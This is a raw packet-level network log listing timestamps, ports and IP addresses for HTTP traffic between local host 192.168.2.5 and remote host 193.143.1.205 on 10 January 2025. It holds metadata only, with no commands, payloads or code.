Jan 10, 2025 14:25:05.269947052 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 14:25:05.269957066 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 14:25:05.269998074 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 14:25:05.270032883 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 14:25:05.270065069 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 14:25:05.270078897 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 14:25:05.270098925 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 14:25:05.270131111 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 14:25:05.270149946 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 14:25:05.270184994 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 14:25:05.270191908 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 14:25:05.270225048 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 14:25:05.270278931 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 14:25:05.270283937 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 14:25:05.270313025 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 14:25:05.270360947 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 14:25:05.270365000 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 14:25:05.270397902 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 14:25:05.270431042 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 14:25:05.270446062 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 14:25:05.270463943 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 14:25:05.270497084 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 14:25:05.270529032 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 14:25:05.270534992 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 14:25:05.270565033 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 14:25:05.270585060 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 14:25:05.270598888 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 14:25:05.270632982 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 14:25:05.270644903 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 14:25:05.270665884 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 14:25:05.270706892 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 14:25:05.270715952 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 14:25:05.270756960 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 14:25:05.270791054 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 14:25:05.270819902 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 14:25:05.270821095 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 14:25:05.270872116 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 14:25:05.270878077 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 14:25:05.270929098 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 14:25:05.270962954 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 14:25:05.270992041 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 14:25:05.270996094 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 14:25:05.271028996 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 14:25:05.271050930 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 14:25:05.271080971 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 14:25:05.271112919 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 14:25:05.271130085 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 14:25:05.271147966 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 14:25:05.271181107 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 14:25:05.271195889 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 14:25:05.271214008 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 14:25:05.271248102 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 14:25:05.271262884 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 14:25:05.271282911 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 14:25:05.271322966 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 14:25:05.271343946 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 14:25:05.271379948 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 14:25:05.271413088 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 14:25:05.271440983 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 14:25:05.271445990 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 14:25:05.271482944 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 14:25:05.271502972 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 14:25:05.271712065 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 14:25:05.271745920 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 14:25:05.271781921 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 14:25:05.271795034 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 14:25:05.271842003 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 14:25:05.271904945 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 14:25:05.271938086 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 14:25:05.271970987 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 14:25:05.271996975 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 14:25:05.272005081 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 14:25:05.272042990 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 14:25:05.272068024 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 14:25:05.272093058 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 14:25:05.272126913 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 14:25:05.272160053 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 14:25:05.272161961 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 14:25:05.272193909 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 14:25:05.272209883 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 14:25:05.272227049 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 14:25:05.272263050 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 14:25:05.272289991 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 14:25:05.272295952 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 14:25:05.272330046 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 14:25:05.272344112 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 14:25:05.272365093 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 14:25:05.272399902 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 14:25:05.272416115 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 14:25:05.272664070 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 14:25:05.272696972 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 14:25:05.272722006 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 14:25:05.272732019 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 14:25:05.272783995 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 14:25:05.272798061 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 14:25:05.272818089 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 14:25:05.272851944 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 14:25:05.272874117 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 14:25:05.272887945 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 14:25:05.272943974 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 14:25:05.272953033 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 14:25:05.273004055 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 14:25:05.273036957 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 14:25:05.273070097 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 14:25:05.273082972 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 14:25:05.273103952 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 14:25:05.273121119 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 14:25:05.273142099 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 14:25:05.273178101 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 14:25:05.273199081 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 14:25:05.273210049 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 14:25:05.273245096 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 14:25:05.273266077 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 14:25:05.273277998 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 14:25:05.273313046 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 14:25:05.273329020 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 14:25:05.273608923 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 14:25:05.273642063 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 14:25:05.273663998 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 14:25:05.273674965 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 14:25:05.273720026 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 14:25:05.280452013 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 14:25:05.300896883 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 14:25:05.300947905 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 14:25:05.300983906 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 14:25:05.301016092 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 14:25:05.301031113 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 14:25:05.301050901 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 14:25:05.301084042 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 14:25:05.301096916 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 14:25:05.301121950 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 14:25:05.301167965 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 14:25:05.329740047 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 14:25:05.329809904 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 14:25:05.329845905 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 14:25:05.329878092 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 14:25:05.329879045 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 14:25:05.329910994 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 14:25:05.329912901 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 14:25:05.329946995 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 14:25:05.329981089 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 14:25:05.329991102 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 14:25:05.330013990 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 14:25:05.330049038 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 14:25:05.330056906 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 14:25:05.330080986 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 14:25:05.330096006 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 14:25:05.330116034 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 14:25:05.330146074 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 14:25:05.330167055 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 14:25:05.330179930 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 14:25:05.330214024 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 14:25:05.330255032 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 14:25:05.330270052 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 14:25:05.330291033 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 14:25:05.330315113 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 14:25:05.330323935 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 14:25:05.330357075 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 14:25:05.330390930 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 14:25:05.330401897 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 14:25:05.330424070 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 14:25:05.330436945 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 14:25:05.330457926 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 14:25:05.330521107 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 14:25:05.357882977 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 14:25:05.357943058 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 14:25:05.357991934 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 14:25:05.358010054 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 14:25:05.358026981 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 14:25:05.358059883 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 14:25:05.358109951 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 14:25:05.358114958 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 14:25:05.358165026 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 14:25:05.358216047 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 14:25:05.358217955 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 14:25:05.358252048 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 14:25:05.358282089 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 14:25:05.358308077 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 14:25:05.358351946 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 14:25:05.358356953 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 14:25:05.358391047 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 14:25:05.358437061 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 14:25:05.358453989 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 14:25:05.358488083 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 14:25:05.358545065 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 14:25:05.358576059 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 14:25:05.358597040 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 14:25:05.358613968 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 14:25:05.358629942 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 14:25:05.358659983 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 14:25:05.358710051 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 14:25:05.358743906 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 14:25:05.358756065 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 14:25:05.358774900 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 14:25:05.358823061 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 14:25:05.358828068 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 14:25:05.358875036 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 14:25:05.358879089 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 14:25:05.358913898 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 14:25:05.358942032 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 14:25:05.358962059 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 14:25:05.358990908 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 14:25:05.359025002 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 14:25:05.359052896 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 14:25:05.359076977 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 14:25:05.359097958 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 14:25:05.359107018 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 14:25:05.359141111 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 14:25:05.359173059 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 14:25:05.359206915 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 14:25:05.359230042 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 14:25:05.359246016 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 14:25:05.359247923 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 14:25:05.359297991 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 14:25:05.359352112 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 14:25:05.359363079 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 14:25:05.359396935 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 14:25:05.359446049 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 14:25:05.359447956 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 14:25:05.359482050 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 14:25:05.359513044 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 14:25:05.359546900 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 14:25:05.359558105 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 14:25:05.359579086 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 14:25:05.359612942 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 14:25:05.359622955 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 14:25:05.359646082 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 14:25:05.359661102 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 14:25:05.359680891 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 14:25:05.359714031 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 14:25:05.359729052 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 14:25:05.359745979 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 14:25:05.359774113 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 14:25:05.359788895 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 14:25:05.359803915 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 14:25:05.359814882 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 14:25:05.359822989 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 14:25:05.359829903 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 14:25:05.359838963 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 14:25:05.359859943 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 14:25:05.359860897 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 14:25:05.359874964 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 14:25:05.359891891 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 14:25:05.359895945 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 14:25:05.359906912 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 14:25:05.359924078 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 14:25:05.359947920 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 14:25:05.359972954 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 14:25:05.364958048 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 14:25:05.364973068 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 14:25:05.364986897 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 14:25:05.365000010 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 14:25:05.365014076 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 14:25:05.365015984 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 14:25:05.365041018 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 14:25:05.365047932 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 14:25:05.365057945 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 14:25:05.365072012 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 14:25:05.365080118 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 14:25:05.365087032 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 14:25:05.365103006 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 14:25:05.365113020 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 14:25:05.365119934 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 14:25:05.365145922 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 14:25:05.365145922 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 14:25:05.365160942 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 14:25:05.365176916 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 14:25:05.365185022 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 14:25:05.365192890 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 14:25:05.365206957 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 14:25:05.365216017 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 14:25:05.365223885 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 14:25:05.365262032 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 14:25:05.365278006 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 14:25:05.365298986 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 14:25:05.365339041 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 14:25:05.365377903 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 14:25:05.365400076 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 14:25:05.365412951 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 14:25:05.365436077 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 14:25:05.365453959 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 14:25:05.365475893 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 14:25:05.365490913 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 14:25:05.365505934 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 14:25:05.365530014 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 14:25:05.365536928 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 14:25:05.365562916 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 14:25:05.365577936 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 14:25:05.365592003 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 14:25:05.365598917 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 14:25:05.365633011 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 14:25:05.365731001 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 14:25:05.365765095 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 14:25:05.365808964 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 14:25:05.386570930 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 14:25:05.386605024 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 14:25:05.386637926 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 14:25:05.386702061 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 14:25:05.386702061 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 14:25:05.389277935 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 14:25:05.389326096 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 14:25:05.389358044 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 14:25:05.389378071 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 14:25:05.389408112 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 14:25:05.389442921 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 14:25:05.389463902 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 14:25:05.389476061 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 14:25:05.389509916 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 14:25:05.389533043 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 14:25:05.389543056 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 14:25:05.389643908 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 14:25:05.403161049 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 14:25:05.417839050 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 14:25:05.417891026 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 14:25:05.417924881 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 14:25:05.417974949 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 14:25:05.418003082 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 14:25:05.418009996 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 14:25:05.418042898 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 14:25:05.418068886 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 14:25:05.418076992 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 14:25:05.418080091 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 14:25:05.418109894 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 14:25:05.418164015 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 14:25:05.418203115 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 14:25:05.418211937 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 14:25:05.418247938 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 14:25:05.418279886 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 14:25:05.418301105 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 14:25:05.418313026 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 14:25:05.418354988 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 14:25:05.418365955 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 14:25:05.418399096 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 14:25:05.418406963 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 14:25:05.418431997 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 14:25:05.418469906 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 14:25:05.418474913 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 14:25:05.418504953 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 14:25:05.418539047 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 14:25:05.418550014 CET	49704	80	192.168.2.5	193.143.1.205
